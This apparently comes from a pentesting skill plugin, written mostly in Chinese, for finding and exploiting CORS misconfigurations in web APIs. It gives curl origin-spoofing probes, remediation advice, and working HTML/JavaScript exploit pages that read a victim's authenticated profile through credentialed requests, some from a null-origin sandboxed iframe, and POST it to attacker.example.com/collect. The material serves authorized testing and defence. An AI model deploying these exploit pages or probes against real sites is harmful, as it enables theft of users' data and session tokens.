Identifies and exploits CORS misconfigurations in web APIs using curl, Burp Suite, and browser tests to detect unauthorized cross-origin access and credential theft during pentests.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中评估 API 端点的跨源访问控制时
Tests API endpoints for CORS misconfigurations like origin reflection, null origin bypass, and credential exposure using curl and Burp Suite during pentests.
Tests CORS misconfigurations in web APIs using curl, Burp Suite, and browsers to detect unauthorized cross-origin access and credential theft during pentests.
Validates CORS configurations in web apps/APIs for security misconfigurations like wildcard origins, origin reflection, permissive methods/headers.
Share bugs, ideas, or general feedback.
检查所有 API 端点的 CORS 响应头部。
# 使用外部 Origin 头部进行测试
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# 检查响应中的 CORS 头部:
# Access-Control-Allow-Origin: https://evil.example.com(危险:反射任意来源)
# Access-Control-Allow-Origin: *(若与 credentials 同时存在则危险)
# Access-Control-Allow-Credentials: true(允许携带 Cookie)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# 测试多个端点
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
确认服务器如何验证 Origin 头部。
# 测试 1:任意来源反射
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 2:null 来源
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 3:子域匹配绕过
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 4:前缀/后缀匹配绕过
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 5:协议降级
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 6:来源中的特殊字符
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# 测试 7:通配符与 credentials 组合检查
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# 通配符(*)+ credentials(true)规范上不允许,但部分服务器存在此配置错误
评估服务器如何处理 OPTIONS 预检请求。
# 发送预检请求
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# 检查:
# Access-Control-Allow-Methods:应只列出所需方法
# Access-Control-Allow-Headers:应只列出所需头部
# Access-Control-Max-Age:预检缓存时长(过长则有风险)
# 测试是否允许危险方法
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# 测试预检是否缓存时间过长
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400(1 天)在策略变更后仍允许长时间滥用
构建 HTML 页面利用 CORS 错误配置窃取数据。
<!-- cors-exploit.html — 托管在攻击者服务器上 -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS 利用概念验证</h1>
<div id="result"></div>
<script>
// 利用:跨域读取受害者的个人资料数据
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// 数据已成功跨域窃取
document.getElementById('result').innerText = xhr.responseText;
// 将数据外传到攻击者服务器
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // 携带受害者的 Cookie
xhr.send();
</script>
</body>
</html>
<!-- 使用 fetch API 进行利用 -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// 窃取敏感数据
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('已窃取数据:', data);
});
</script>
若 Origin: null 被允许,则通过沙箱 iframe 进行利用。
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS 利用</h1>
<!--
沙箱化 iframe 发送 Origin: null 的请求
若服务器以 Access-Control-Allow-Origin: null 加 credentials 响应,
则数据可被外传
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// 将窃取的数据发送到父页面或攻击者服务器
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- 替代方案:使用 data: URI 构造 null 来源 -->
<!-- 在浏览器中打开:data:text/html,<script>...</script> -->
检查 CORS 是否允许来自内网来源的访问(可通过 XSS 利用)。
# 测试内网/开发环境来源
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# 若允许内网来源且存在 XSS:
# 1. 在 http://subdomain.target.example.com 找到 XSS 漏洞
# 2. 利用 XSS 向 api.target.example.com 发起 CORS 请求
# 3. 通过 XSS + CORS 链路外传数据
| 概念 | 定义 |
|---|---|
| 同源策略(Same-Origin Policy) | 浏览器安全模型,防止一个源的脚本访问另一个源的数据 |
| CORS | 允许服务器指定哪些来源可以访问其资源的机制 |
| 来源反射(Origin Reflection) | 服务器将请求 Origin 头部镜像到 ACAO 响应头部(危险) |
| null 来源(Null Origin) | 来自沙箱 iframe、data URI 和重定向的特殊来源值 |
| 预检请求(Preflight Request) | 某些跨源请求前发送的 OPTIONS 请求,用于检查权限 |
| 带凭证请求(Credentialed Requests) | 包含 Cookie 的跨源请求,需要明确的 ACAO + ACAC 头部 |
| 通配符 CORS(Wildcard CORS) | Access-Control-Allow-Origin: * 允许任意来源但禁止带凭证 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 拦截请求并修改 Origin 头部 |
| CORScanner | 自动化 CORS 错误配置扫描器(pip install corscanner) |
| cors-scanner | 基于 Node.js 的 CORS 测试工具 |
| 浏览器 DevTools | 在真实浏览器上下文中监控 CORS 错误和网络请求 |
| Python http.server | 本地托管 CORS 利用 PoC 页面 |
| OWASP ZAP | 自动检测 CORS 错误配置 |
API 在 Access-Control-Allow-Origin 中反射任意 Origin 头部,并设置 Access-Control-Allow-Credentials: true。任何网站都可以读取已认证的 API 响应,从而窃取用户数据。
服务器允许带凭证的 Origin: null。攻击者通过沙箱化 iframe 发送携带凭证的 API 请求并读取响应数据。
CORS 策略允许 *.target.example.com。攻击者在 forum.target.example.com 上找到 XSS 漏洞,并利用它向 api.target.example.com 发起跨源请求,通过受信任子域窃取用户数据。
服务器使用正则 target\.example\.com 验证来源,但未锚定正则表达式。attackertarget.example.com 匹配成功并被允许访问。
## CORS 错误配置发现
**漏洞**:CORS 来源反射与 Credentials
**严重性**:High(CVSS 8.1)
**位置**:api.target.example.com 上的所有 /api/* 端点
**OWASP 类别**:A01:2021 - 访问控制缺陷
### 观察到的 CORS 配置
| 头部 | 值 |
|--------|-------|
| Access-Control-Allow-Origin | [反射请求 Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### 来源验证结果
| 测试来源 | 是否反射 | 是否带凭证 |
|---------------|-----------|-------------|
| https://evil.com | 是 | 是 |
| null | 是 | 是 |
| http://localhost | 是 | 是 |
| https://evil.target.example.com | 是 | 是 |
### 影响
- 任何网站均可读取受害者浏览器中已认证的 API 响应
- 用户个人资料数据(邮箱、电话、地址)可被外传
- Session token 通过 X-Auth-Token 头部暴露
- CSRF 防护被绕过(攻击者可读取并提交 CSRF token)
### 建议
1. 实施严格的受信任来源白名单
2. 切勿在 Access-Control-Allow-Origin 中反射任意 Origin 值
3. 不允许 Origin: null 与 credentials 同时使用
4. 使用精确字符串匹配而非正则子字符串匹配来验证来源
5. 将 Access-Control-Max-Age 设置为合理值(600 秒)